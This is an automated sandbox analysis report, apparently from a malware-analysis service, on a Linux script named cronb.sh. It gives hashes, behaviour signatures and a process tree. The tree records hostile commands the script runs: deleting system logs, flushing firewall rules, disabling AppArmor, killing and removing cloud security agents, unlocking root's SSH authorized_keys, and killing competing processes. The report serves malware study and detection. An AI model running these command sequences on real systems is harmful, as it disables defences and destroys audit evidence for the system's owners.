Analysis
- max time kernel
9753s - max time network
158s - platform
linux_armhf - resource
debian9-armhf-en-20211208 - submitted
31/03/2022, 14:02
Static task
static1
Behavioral task
behavioral1
Sample
cronb.sh
Resource
ubuntu1804-amd64-en-20211208
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
cronb.sh
Resource
debian9-armhf-en-20211208
0 signatures
0 seconds
Behavioral task
behavioral3
Sample
cronb.sh
Resource
debian9-mipsbe-en-20211208
0 signatures
0 seconds
Behavioral task
behavioral4
Sample
cronb.sh
Resource
debian9-mipsel-en-20211208
0 signatures
0 seconds
General
- Target cronb.sh
- Size 79KB
- Sample220331-rb4c7ahaek
- SHA256 7d7d0b4353401225e8da8424a7e1c5edaa091b256bdd48b7dcb158befca0b205
- MD5 2ac000e26102885305d056a5ee418faf
- SHA1 73716825db3b5a4f6fee892a3f3a7cfe7a9907d0
- SHA512 5f4a3c45f018062bb4e8ce5759db2d780076b247f2e9a7adf983f252fa1423af2ee053ef379c9d0cfe3d2ae33b608670046cfb32e1e1e97b9a77a34de8a432e6
- MD5 SHA1 SHA512
Score
9/10
Malware Config
Signatures
- Deletes system logs 1 TTPs 1 IoCs
description ioc Process /var/log/syslog /var/log/syslog rm - Writes file to system bin folder 1 TTPs 1 IoCs
description ioc Process /bin/egrep /bin/egrep egrep - Modifies hosts file 1 IoCs
Adds to hosts file used for mapping hosts to IP addresses.
description ioc Process /etc/hosts /etc/hosts sudo - Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.
description ioc Process /etc/resolv.conf /etc/resolv.conf sudo - Write file to user bin folder 1 TTPs 2 IoCs
description ioc Process /usr/sbin/service /usr/sbin/service service /usr/sbin/service /usr/sbin/service service - Reads CPU attributes 1 TTPs 64 IoCs
description ioc Process /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps - Enumerates kernel/hardware configuration 1 TTPs 32 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl /sys/fs/kdbus/0-system/bus /sys/fs/kdbus/0-system/bus systemctl - Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
description ioc Process /proc/74/status /proc/74/status ps /proc/131/stat /proc/131/stat ps /proc/43/status /proc/43/status ps /proc/meminfo /proc/meminfo ps /proc/10/stat /proc/10/stat ps /proc/304/stat /proc/304/stat ps /proc/26/status /proc/26/status ps /proc/2/cmdline /proc/2/cmdline ps /proc/8/status /proc/8/status ps /proc/43/stat /proc/43/stat ps /proc/21/cmdline /proc/21/cmdline ps /proc/230/stat /proc/230/stat ps /proc/131/stat /proc/131/stat ps /proc/42/stat /proc/42/stat ps /proc/16/status /proc/16/status ps /proc/6/status /proc/6/status ps /proc/106/status /proc/106/status ps /proc/5/stat /proc/5/stat ps /proc/349/status /proc/349/status ps /proc/105/cmdline /proc/105/cmdline ps /proc/22/stat /proc/22/stat ps /proc/uptime /proc/uptime ps /proc/9/status /proc/9/status ps /proc/355/status /proc/355/status ps /proc/131/status /proc/131/status ps /proc/21/status /proc/21/status ps /proc/106/status /proc/106/status ps /proc/5/stat /proc/5/stat ps /proc/1/stat /proc/1/stat ps /proc/26/stat /proc/26/stat ps /proc/132/cmdline /proc/132/cmdline ps /proc/41/stat /proc/41/stat ps /proc/16/status /proc/16/status ps /proc/6/stat /proc/6/stat ps /proc/271/cmdline /proc/271/cmdline ps /proc/19/status /proc/19/status ps /proc/2/status /proc/2/status ps /proc/9/cmdline /proc/9/cmdline ps /proc/6/status /proc/6/status ps /proc/154/cmdline /proc/154/cmdline ps /proc/105/cmdline /proc/105/cmdline ps /proc/3/cmdline /proc/3/cmdline ps /proc/15/stat /proc/15/stat ps /proc/1/stat /proc/1/stat ps /proc/106/status /proc/106/status ps /proc/570/cmdline /proc/570/cmdline ps /proc/355/stat /proc/355/stat ps /proc/17/stat /proc/17/stat ps /proc/106/status /proc/106/status ps /proc/25/cmdline /proc/25/cmdline ps /proc/144/stat /proc/144/stat ps /proc/349/stat /proc/349/stat ps /proc/965/cmdline /proc/965/cmdline ps /proc/12/stat /proc/12/stat ps /proc/2/status /proc/2/status ps /proc/276/status /proc/276/status ps /proc/307/stat /proc/307/stat ps /proc/349/status /proc/349/status ps /proc/144/status /proc/144/status ps /proc/105/status /proc/105/status ps /proc/351/stat /proc/351/stat ps /proc/12/status /proc/12/status ps /proc/7/stat /proc/7/stat ps /proc/571/status /proc/571/status ps - Writes file to tmp directory 5 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process /tmp/ /tmp/ chattr /tmp/ /tmp/ cronb.sh /tmp/addres* /tmp/addres* rm /tmp/walle* /tmp/walle* rm /tmp/keys /tmp/keys rm
Processes
-
./cronb.sh./cronb.sh1⤵
- Writes file to tmp directory
PID:351 -
/usr/bin/idid2⤵PID:354
-
-
/bin/mkdirmkdir /var/tmp/.copydie -p2⤵PID:361
-
-
/bin/rmrm -rf /var/log/syslog2⤵
- Deletes system logs
PID:362
-
-
/usr/bin/chattrchattr -iua /tmp/2⤵
- Writes file to tmp directory
PID:363
-
-
/usr/bin/chattrchattr -iua /var/tmp/2⤵PID:364
-
-
/sbin/iptablesiptables -F2⤵PID:366
-
-
/usr/bin/sudosudo sysctl "kernel.nmi_watchdog=0"2⤵
- Modifies hosts file
- Writes DNS configuration
PID:369 -
/sbin/sysctlsysctl "kernel.nmi_watchdog=0"3⤵PID:370
-
-
-
/sbin/sysctlsysctl "kernel.nmi_watchdog=0"2⤵PID:371
-
-
/usr/bin/chattrchattr -iae /root/.ssh/2⤵PID:372
-
-
/usr/bin/chattrchattr -iae /root/.ssh/authorized_keys2⤵PID:373
-
-
/bin/rmrm -rf "/tmp/addres*"2⤵
- Writes file to tmp directory
PID:374
-
-
/bin/rmrm -rf "/tmp/walle*"2⤵
- Writes file to tmp directory
PID:375
-
-
/bin/rmrm -rf /tmp/keys2⤵
- Writes file to tmp directory
PID:376
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:377
-
-
/bin/grepgrep -i "[a]liyun"2⤵PID:378
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:379
-
-
/bin/grepgrep -i "[y]unjing"2⤵PID:380
-
-
/usr/sbin/serviceservice apparmor stop2⤵
- Write file to user bin folder
PID:382 -
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:383
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:384
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Enumerates kernel/hardware configuration
PID:385
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Enumerates kernel/hardware configuration
PID:391
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Enumerates kernel/hardware configuration
PID:392
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Enumerates kernel/hardware configuration
PID:393
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Enumerates kernel/hardware configuration
PID:394
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Enumerates kernel/hardware configuration
PID:395
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Enumerates kernel/hardware configuration
PID:396
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Enumerates kernel/hardware configuration
PID:397
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Enumerates kernel/hardware configuration
PID:398
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Enumerates kernel/hardware configuration
PID:399
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Enumerates kernel/hardware configuration
PID:400
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Enumerates kernel/hardware configuration
PID:401
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Enumerates kernel/hardware configuration
PID:402
-
-
-
/usr/local/sbin/systemctlsystemctl stop apparmor.service2⤵PID:382
-
-
/usr/local/bin/systemctlsystemctl stop apparmor.service2⤵PID:382
-
-
/usr/sbin/systemctlsystemctl stop apparmor.service2⤵PID:382
-
-
/usr/bin/systemctlsystemctl stop apparmor.service2⤵PID:382
-
-
/sbin/systemctlsystemctl stop apparmor.service2⤵PID:382
-
-
/bin/systemctlsystemctl stop apparmor.service2⤵
- Enumerates kernel/hardware configuration
PID:382
-
-
/bin/systemctlsystemctl disable apparmor2⤵
- Enumerates kernel/hardware configuration
PID:403
-
-
/usr/sbin/serviceservice aliyun.service stop2⤵
- Write file to user bin folder
PID:404 -
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:405
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:406
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Enumerates kernel/hardware configuration
PID:407
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Enumerates kernel/hardware configuration
PID:411
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Enumerates kernel/hardware configuration
PID:412
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Enumerates kernel/hardware configuration
PID:413
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Enumerates kernel/hardware configuration
PID:414
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Enumerates kernel/hardware configuration
PID:415
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Enumerates kernel/hardware configuration
PID:416
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Enumerates kernel/hardware configuration
PID:417
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Enumerates kernel/hardware configuration
PID:418
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Enumerates kernel/hardware configuration
PID:419
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Enumerates kernel/hardware configuration
PID:420
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Enumerates kernel/hardware configuration
PID:421
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Enumerates kernel/hardware configuration
PID:422
-
-
-
/usr/local/sbin/systemctlsystemctl stop aliyun.service.service2⤵PID:404
-
-
/usr/local/bin/systemctlsystemctl stop aliyun.service.service2⤵PID:404
-
-
/usr/sbin/systemctlsystemctl stop aliyun.service.service2⤵PID:404
-
-
/usr/bin/systemctlsystemctl stop aliyun.service.service2⤵PID:404
-
-
/sbin/systemctlsystemctl stop aliyun.service.service2⤵PID:404
-
-
/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Enumerates kernel/hardware configuration
PID:404
-
-
/bin/systemctlsystemctl disable aliyun.service2⤵
- Enumerates kernel/hardware configuration
PID:425
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:426
-
-
/bin/grepgrep -v grep2⤵PID:427
-
-
/bin/grepgrep aegis2⤵PID:428
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:429
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:430
-
-
/bin/psps aux2⤵PID:431
-
-
/bin/grepgrep -v grep2⤵PID:432
-
-
/bin/grepgrep Yun2⤵PID:433
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:434
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:435
-
-
/bin/rmrm -rf /usr/local/aegis2⤵PID:436
-
-
/bin/grepgrep 185.71.65.2382⤵PID:438
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:439
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:440
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:441
-
-
/bin/grepgrep 140.82.52.872⤵PID:443
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:444
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:445
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:446
-
-
/bin/grepgrep :4432⤵PID:448
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:449
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:450
-
-
/bin/grepgrep -v -2⤵PID:451
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:452
-
-
/bin/grepgrep :232⤵PID:454
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:455
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:456
-
-
/bin/grepgrep -v -2⤵PID:457
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:458
-
-
/bin/grepgrep :4432⤵PID:460
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:461
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:462
-
-
/bin/grepgrep -v -2⤵PID:463
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:464
-
-
/bin/grepgrep :1432⤵PID:466
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:467
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:468
-
-
/bin/grepgrep -v -2⤵PID:469
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:470
-
-
/bin/grepgrep :22222⤵PID:472
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:473
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:474
-
-
/bin/grepgrep -v -2⤵PID:475
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:476
-
-
/bin/grepgrep :33332⤵PID:478
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:479
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:480
-
-
/bin/grepgrep -v -2⤵PID:481
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:482
-
-
/bin/grepgrep :33892⤵PID:484
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:485
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:486
-
-
/bin/grepgrep -v -2⤵PID:487
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:488
-
-
/bin/grepgrep :55552⤵PID:490
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:491
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:492
-
-
/bin/grepgrep -v -2⤵PID:493
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:494
-
-
/bin/grepgrep :66662⤵PID:496
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:497
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:498
-
-
/bin/grepgrep -v -2⤵PID:499
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:500
-
-
/bin/grepgrep :66652⤵PID:502
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:503
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:504
-
-
/bin/grepgrep -v -2⤵PID:505
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:506
-
-
/bin/grepgrep :66672⤵PID:508
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:509
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:510
-
-
/bin/grepgrep -v -2⤵PID:511
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:512
-
-
/bin/grepgrep :77772⤵PID:516
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:517
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:518
-
-
/bin/grepgrep -v -2⤵PID:519
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:520
-
-
/bin/grepgrep :84442⤵PID:522
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:523
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:524
-
-
/bin/grepgrep -v -2⤵PID:525
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:526
-
-
/bin/grepgrep :33472⤵PID:528
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:529
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:530
-
-
/bin/grepgrep -v -2⤵PID:531
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:532
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:533
-
-
/bin/grepgrep -v grep2⤵PID:534
-
-
/bin/grepgrep :33332⤵PID:535
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:536
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:537
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:538
-
-
/bin/grepgrep -v grep2⤵PID:539
-
-
/bin/grepgrep :55552⤵PID:540
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:541
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:542
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:543
-
-
/bin/grepgrep -v grep2⤵PID:544
-
-
/bin/grepgrep "kworker -c\\"2⤵PID:545
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:546
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:547
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:548
-
-
/bin/grepgrep -v grep2⤵PID:549
-
-
/bin/grepgrep log_2⤵PID:550
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:551
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:552
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:553
-
-
/bin/grepgrep -v grep2⤵PID:554
-
-
/bin/grepgrep systemten2⤵PID:555
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:556
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:557
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:558
-
-
/bin/grepgrep -v grep2⤵PID:559
-
-
/bin/grepgrep netns2⤵PID:560
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:561
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:562
-
/usr/local/sbin/killkill -9 143⤵PID:563
-
-
/usr/local/bin/killkill -9 143⤵PID:563
-
-
/usr/sbin/killkill -9 143⤵PID:563
-
-
/usr/bin/killkill -9 143⤵PID:563
-
-
/sbin/killkill -9 143⤵PID:563
-
-
/bin/killkill -9 143⤵PID:563
-
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:564
-
-
/bin/grepgrep -v grep2⤵PID:565
-
-
/bin/grepgrep voltuned2⤵PID:566
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:567
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:568
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:569
-
-
/bin/grepgrep -v grep2⤵PID:570
-
-
/bin/grepgrep darwin2⤵PID:571
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:572
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:573
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:574
-
-
/bin/grepgrep -v grep2⤵PID:575
-
-
/bin/grepgrep /tmp/dl2⤵PID:576
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:577
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:578
-
-
/bin/psps aux2⤵PID:580
-
-
/bin/grepgrep -v grep2⤵PID:581
-
-
/bin/grepgrep /tmp/ddg2⤵PID:582
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:584
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:585
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:586
-
-
/bin/grepgrep -v grep2⤵PID:587
-
-
/bin/grepgrep /tmp/pprt2⤵PID:588
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:589
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:590
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:591
-
-
/bin/grepgrep -v grep2⤵PID:592
-
-
/bin/grepgrep /tmp/ppol2⤵PID:593
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:594
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:595
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:596
-
-
/bin/grepgrep -v grep2⤵PID:597
-
-
/bin/grepgrep "/tmp/65ccE*"2⤵PID:598
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:599
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:600
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:601
-
-
/bin/grepgrep -v grep2⤵PID:602
-
-
/bin/grepgrep "/tmp/jmx*"2⤵PID:603
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:604
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:605
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:606
-
-
/bin/grepgrep -v grep2⤵PID:607
-
-
/bin/grepgrep "/tmp/2Ne80*"2⤵PID:608
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:609
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:610
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:611
-
-
/bin/grepgrep -v grep2⤵PID:612
-
-
/bin/grepgrep IOFoqIgyC0zmf2UR2⤵PID:613
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:614
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:615
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:616
-
-
/bin/grepgrep -v grep2⤵PID:617
-
-
/bin/grepgrep 45.76.122.922⤵PID:618
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:619
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:620
-
-
/bin/psps aux2⤵PID:621
-
-
/bin/grepgrep -v grep2⤵PID:622
-
-
/bin/grepgrep 51.38.191.1782⤵PID:623
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:624
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:625
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:626
-
-
/bin/grepgrep -v grep2⤵PID:627
-
-
/bin/grepgrep 51.15.56.1612⤵PID:628
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:629
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:630
-
-
/bin/psps aux2⤵PID:631
-
-
/bin/grepgrep -v grep2⤵PID:632
-
-
/bin/grepgrep 86s.jpg2⤵PID:633
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:634
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:635
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:636
-
-
/bin/grepgrep -v grep2⤵PID:637
-
-
/bin/grepgrep aGTSGJJp2⤵PID:638
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:639
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:640
-
-
/bin/psps aux2⤵
